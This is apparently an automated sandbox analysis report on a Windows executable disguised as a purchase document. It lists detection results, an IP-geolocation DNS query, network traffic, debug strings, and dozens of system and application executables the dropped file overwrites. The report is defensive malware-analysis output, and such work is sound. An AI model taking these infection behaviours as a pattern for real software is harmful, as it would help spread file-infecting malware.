Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.9:49712 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 41.185.8.252:443 -> 192.168.2.9:49707 version: TLS 1.2

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: ymafvvdS.pif, 00000009.00000003.2241637142.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: ymafvvdS.pif, 00000009.00000003.2312451071.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2322898064.00000000247E0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2313769391.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: ymafvvdS.pif, 00000009.00000003.1580591877.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdb source: ymafvvdS.pif, 00000009.00000003.1700911877.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: ymafvvdS.pif, 00000009.00000003.1940616402.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdb source: ymafvvdS.pif, 00000009.00000003.1787107994.0000000026BA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVClient.pdb source: ymafvvdS.pif, 00000009.00000003.1633670548.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: ymafvvdS.pif, 00000009.00000003.2082255525.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: ymafvvdS.pif, 00000009.00000003.2082255525.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1700911877.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: ymafvvdS.pif, 00000009.00000003.2097354013.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.2369897721.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2373134718.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: ymafvvdS.pif, 00000009.00000003.1664213164.000000002A570000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdb source: ymafvvdS.pif, 00000009.00000003.1713087935.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: ymafvvdS.pif, 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: ymafvvdS.pif, 00000009.00000003.2057718300.000000002A440000.00000004.00001000.00020000.00000000.sdmp, SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: MsSense.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1732759810.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: ymafvvdS.pif, 00000009.00000003.2235576907.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: ymafvvdS.pif, 00000009.00000003.2352471485.0000000024870000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MsSense.pdb source: ymafvvdS.pif, 00000009.00000003.1732759810.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: ymafvvdS.pif, 00000009.00000003.2254314315.00000000247F0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2262955419.0000000024590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000016.00000000.1659735755.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000021.00000002.1771358860.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000022.00000002.1777105344.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000025.00000000.1779655078.0000000000191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021D10000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209AA000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1561847890.0000000021CDF000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.00000000024F5000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.000000002097A000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.00000000024F6000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1580684456.0000000000AF6000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1838933224.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdb source: esentutl.exe, 0000000B.00000003.1605531348.0000000005490000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000017.00000000.1660461231.0000000000771000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: ymafvvdS.pif, 00000009.00000003.2130368671.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: ymafvvdS.pif, 00000009.00000003.1948869913.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: Common.ShowHelp.exe.9.dr
Source:	Binary string: locator.pdb source: ymafvvdS.pif, 00000009.00000003.1724937855.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1729612857.0000000026950000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1642151858.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: ymafvvdS.pif, 00000009.00000003.2097354013.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: ymafvvdS.pif, 00000009.00000003.1967395984.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209AA000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.000000002097A000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1580684456.0000000000AF6000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb source: ymafvvdS.pif, 00000009.00000003.1948869913.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 00000005.00000003.1559563944.0000000005730000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000002.1647022839.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000016.00000000.1659735755.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000021.00000002.1771358860.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000022.00000002.1777105344.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000025.00000000.1779655078.0000000000191000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: ymafvvdS.pif, 00000009.00000003.2312451071.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2322898064.00000000247E0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2313769391.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 0000000B.00000003.1605531348.0000000005490000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000017.00000000.1660461231.0000000000771000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: easinvoker.pdbH source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: ymafvvdS.pif, 00000009.00000003.2057718300.000000002A440000.00000004.00001000.00020000.00000000.sdmp, SingleClientServicesUpdater.exe.9.dr
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: ymafvvdS.pif, 00000009.00000003.2153849793.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: ymafvvdS.pif, 00000009.00000003.1940616402.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: ymafvvdS.pif, 00000009.00000003.2369897721.0000000024870000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2373134718.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2219413171.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1750131417.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1692731195.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerceptionSimulationService.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1713087935.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: ymafvvdS.pif, 00000009.00000003.1687218296.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1723219239.0000000026950000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1718639908.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1717822297.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: ymafvvdS.pif, 00000009.00000003.2352471485.0000000024870000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\dcf\x-none\Common.ShowHelp.pdb source: Common.ShowHelp.exe.9.dr
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: ymafvvdS.pif, 00000009.00000003.2199797397.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: ymafvvdS.pif, 00000009.00000003.2130368671.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVClient.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1633670548.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PerfHost.pdb source: ymafvvdS.pif, 00000009.00000003.1723219239.0000000026950000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1718639908.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1717822297.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: ymafvvdS.pif, 00000009.00000003.2206197003.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: ymafvvdS.pif, 00000009.00000003.2241637142.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: ymafvvdS.pif, 00000009.00000003.2153849793.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2235576907.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: ymafvvdS.pif, 00000009.00000003.1687218296.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: ymafvvdS.pif, 00000009.00000003.2254314315.00000000247F0000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2262955419.0000000024590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdb source: ymafvvdS.pif, 00000009.00000003.1798231706.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1798231706.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: ymafvvdS.pif, 00000009.00000003.1838933224.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: ymafvvdS.pif, 00000009.00000003.2161636209.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: ymafvvdS.pif, 00000009.00000003.1608878398.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: ymafvvdS.pif, 00000009.00000003.1692731195.000000002A530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: ymafvvdS.pif, 00000009.00000003.1642151858.000000002A430000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1608878398.0000000026CC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: ymafvvdS.pif, 00000009.00000003.1664213164.000000002A570000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: ymafvvdS.pif, 00000009.00000003.1967395984.0000000026980000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.1724937855.000000002A520000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.1729612857.0000000026950000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ssh-agent.pdbX source: ymafvvdS.pif, 00000009.00000003.1787107994.0000000026BA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: ymafvvdS.pif, 00000009.00000003.2347088719.0000000024880000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: ymafvvdS.pif, 00000009.00000003.1750131417.000000002A520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: ymafvvdS.pif, 00000009.00000003.2206197003.00000000247F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: ymafvvdS.pif, 00000009.00000003.2161636209.000000002A440000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: ymafvvdS.pif, 00000009.00000003.2347088719.0000000024880000.00000004.00001000.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
